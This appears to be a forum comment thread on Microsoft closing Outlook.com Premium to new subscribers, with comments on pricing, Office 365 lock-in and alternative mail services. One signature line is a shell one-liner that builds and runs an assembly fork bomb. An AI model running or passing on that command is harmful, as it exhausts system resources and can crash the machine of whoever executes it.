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Microsoft is Killing Outlook.com Premium (thurrott.com)
Paul Thurrott, writing for Thurrott.com: A support document describing new premium Outlook.com features for Office 365 subscribers hides the real story today: Microsoft just killed Outlook.com Premium. I wrote earlier about how Microsoft was bringing some Outlook.com Premium features, like an ad-free inbox, to Office 365 Home and Personal subscribers. That's great news, of course. But a related support document buries the lede. "The Outlook.com Premium standalone offering is now closed to new subscribers," the support document notes. "Current subscribers can renew their subscriptions to continue receiving subscription benefits." Yikes. There's also a link to another support document that continues this conversation. But there really isn't much more to say. If you're already using Outlook.com Premium, you can continue to do so. And for now, at least, you can even renew the subscription and keep using its unique features, like custom domain support.
More pointless usage of the word "killing".
people use outlook.com
How is closing the door to new subscribers, killing off the program?
So rise up, all ye lost ones, as one, we'll claw the clouds.
Microsoft is replacing Outlook.com premium with Office 365 Home. This news is truly worthy of the Slashdot frontpage.
Both users are devastated.
They are bacically combining two SKUs into one. Being that almost everyone who used outlook premium also used 365 personal it makes perfect sense to tie in.
One of the nice things Outlook Premium lets you do was host email at a vanity domain, but with Hotmail/Outlook.com levels of reliability and therefore a lower cost. Doing the same thing with Exchange Online is much more money, and works well for those who don't want Office 365. (I have free or cheap access to Office 365 from at least 3 different programs that I can think of.)
I guess it's another example of Microsoft figuring out the maximum level of revenue extraction they can get and balancing that with offering "gateway services" that get people hooked. Office 365 was/is the hook for companies to move to Azure. The company I work for went through the transition to 365 last year, and it's pretty obvious what the plan is when you look at it from a distance. First, establishing Office 365 makes your company establish an Azure Active Directory. Next step is to get rid of OWA and allow your users Exchange access, thereby getting you to federate your classic Active Directory. Once you're there, it's a short leap to letting developers build Azure stuff. And once the Shadow IT people are reined in, they make it incredbly easy to move workloads to Azure. It's all about getting people to stop buying software and start paying their Microsoft bill monthly.
I remember when Microsoft killed off MyPhone and the Windows Mobile app store.
http://www.bgr.in/news/microso...
What that meant was "Windows Mobile is dead. All your favourite mobile applications already run on Android and iOS and don't work on Windows Phone. Time to migrate to one of those".
In my case my favourite application was Pleco, a Chinese dictionary. That worked on Windows Mobile and now runs on iOS and Android and not on Windows Phone.
Now Windows Mobile was never a commercial success, except compared to Windows Phone.
Still you'd think their cloud stuff should be safe right? Well not anymore. Shutting down servers is a bad sign - it usually means a wider cull of products is in process at Microsoft.
It's dumb too - if you tell people the product they are using is being killed off and they need to migrate, they're just as likely to migrate to the competition as they are to the Microsoft product you want them to migrate to.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This is why I was always worried the Internet would go mainstream.
I don't care what I get labelled as: I sincerely miss the old days, and not just for the nostalgia of dialup tones and refreshing the BBS. Just the semblance privacy is something I have to pay a premium for and my software is a rental service now. That makes me a saaaaaad panda.
I guess I shouldn't actually complain though since I don't use the service, host my own email server and I don't actually rent any software... but even so! I shall take this opportunity to complain regardless because I'm old and curmudgeonly now.
Stop using Microsoft outlook as soon as you can and migrate to another online service, ideally by a company which you can trust, which won't read your emails and monetize your account with ads, such as Google.
#DeleteFacebook
I gave them all up for Fastmail, which I believe is the best paid email and calendar money can buy. MS beats Fastmail only if you need to be tied to all the other services via federation. I worked in such an environment at my last job and hated it. WE used Office 365, Exchange Online, Sharepoint, Lync, Skype for Business. It sucked hideously.
I miss being a UNIX admin and everyone having thin clients that were automounted to NFS. Everything was simpler then.
Outlook tells me every time I check my email that Iâ(TM)m using Adblock (just in case I forget and get too comfortable I guess). So is that going away?
Chewbacon
The Bible is like Wikipedia: written by a bunch of people and verifiable by questionable sources.
I think maybe a few years back I tried the paid version and frankly it just wasn't worth it. As a personal email free service, Outlook.com is pretty good these days. If I needed more then the free service provided, I would probably be using Office suit and Outlook through that. I think its a matter of lack of interest that Microsoft killed it. They offer a better option through Office.
Why source news from a longtime big Microsoft shill?
Only a child whose greatest accomplishment is in a video game would defend Microsoft's practices.
One of the nice things Outlook Premium lets you do was host email at a vanity domain, but with Hotmail/Outlook.com levels of reliability and therefore a lower cost. Doing the same thing with Exchange Online is much more money, and works well for those who don't want Office 365.
Exchange online: $4/user/month
Outlook Premium: $4/user/month
They may have changed it, and they may not advertise it, but in the past I haven't had trouble setting up exchange online with business domains.
Real lawyers write in C++
If you still have ads in your browser in 2017, you're part of the problem.
I thought the fact they had users on outlook.com was newsworthy.
Change is certain; progress is not obligatory.
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I still use Hotmail!